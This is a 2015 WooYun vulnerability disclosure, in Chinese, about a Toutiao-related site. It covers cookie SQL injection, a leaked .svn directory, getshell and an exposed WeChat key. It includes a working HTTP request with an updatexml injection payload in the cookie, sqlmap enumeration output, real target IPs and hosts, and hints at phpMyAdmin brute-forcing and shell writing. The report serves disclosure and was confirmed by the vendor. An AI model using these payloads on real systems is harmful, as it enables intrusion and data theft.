当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111246

漏洞标题:今日头条某站cookie注入+源码泄露+getshell+微信key泄露

相关厂商:字节跳动

漏洞作者: 杀器王子

提交时间:2015-04-30 13:37

修复时间:2015-06-18 18:04

公开时间:2015-06-18 18:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-30: 细节已通知厂商并且等待厂商处理中
2015-05-04: 厂商已经确认,细节仅向厂商公开
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开

简要描述:

今日头条某站cookie注入+源码泄露+getshell+微信key泄露

详细说明:

http://42.96.190.138/
这个站存在SQL注入
应该不止一处
cookie注入 数据包如下

GET /index.php?g=WEBAPP&m=Index&a=getCategoryPagePropertyDepartment HTTP/1.1
Host: 42.96.190.138
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2376.0 Safari/537.36
Accept: */*
Referer: http://42.96.190.138:3333/index.php?g=WEBAPP&page=cusform-formlist&dept_id=1%20and%201=if(1=2,1,(select%201%20union%20select%202))
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ja;q=0.2
Cookie: PHPSESSID=sqr24iplkeltnokj5g43q7et52; YP_onlineid=%22796df709c9c89a5d3e0e44e600a3efb8%22; last_update_time=2015-04-30+11%3A47%3A55; dept_id=11119 and 1=(updatexml(1,concat(0x3a,(select user() from mysql.user)),1)); YP_think_language=%22cn%22


Snip20150430_1.png


available databases [2]:
[*] information_schema
[*] ttbdxt


[11:59:41] [INFO] retrieved: imi_activity_count_plus_20150426
[11:59:41] [INFO] retrieved: imi_activity_count_plus_20150427
[11:59:41] [INFO] retrieved: imi_activity_count_plus_20150422
[11:59:41] [INFO] retrieved: imi_activity_count_plus_20150424
[11:59:41] [INFO] retrieved: imi_activity_count_plus_20150425
[11:59:42] [INFO] retrieved: imi_activity_count_url
[11:59:42] [INFO] retrieved: imi_activity_log
[11:59:42] [INFO] retrieved: imi_activity_prize55122
[11:59:42] [INFO] retrieved: imi_activity_count_plus_20150429
[11:59:42] [INFO] retrieved: imi_activity_prize_record55122
[11:59:42] [INFO] retrieved: imi_activity_record55122
[11:59:42] [INFO] retrieved: imi_activity_count_plus_20150428
[11:59:42] [INFO] retrieved: imi_app_log
[11:59:42] [INFO] retrieved: imi_activity_count_plus_20150430
[11:59:42] [INFO] retrieved: imi_block
[11:59:42] [INFO] retrieved: imi_cart
[11:59:42] [INFO] retrieved: imi_category
[11:59:42] [INFO] retrieved: imi_attachment


每天更新 最新数据
imi_config中发现
| 图片最小宽度 | 0 | http://appadmin.imixun.com/ | watermark_minwidth |
| 5 | CMS地址 | 0 | https://download.imixun.com/index.php?m=Download&appcode=ttbdxt&publishtype=online | site_url |
| 5 | 水印最小高度 | 0 | https://download.imixun.com/index.php?m=Download&appcode=ttbdxt&publishtype=online | watermark_minheight

Snip20150430_3.png


下载抓包到了
ttbdxt.imixun.com/index.php?g=API&m=GetActivityDetail

漏洞证明:

ttbdxt.imixun.com
这个站存在相同的注入
并且是root权限的 直接shell

Snip20150430_4.png


Snip20150430_9.png


再回来看42.96.190.138
http://42.96.190.138/.svn/entries
代码泄露

Snip20150430_6.png


weixin的appid和secret也漏了

Snip20150430_7.png


虽然 42这个站注入不是root 但是 有phpmyadmin
http://42.96.190.138/phpmyadmin 可以爆破root密码
简单审计代码发现也可以shell
可以靠create这个功能写入shell

Snip20150430_8.png

修复方案:

删除svn修复弱口令参数过滤

版权声明:转载请注明来源 杀器王子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-05-04 18:03

厂商回复:

确认漏洞。

最新状态:

暂无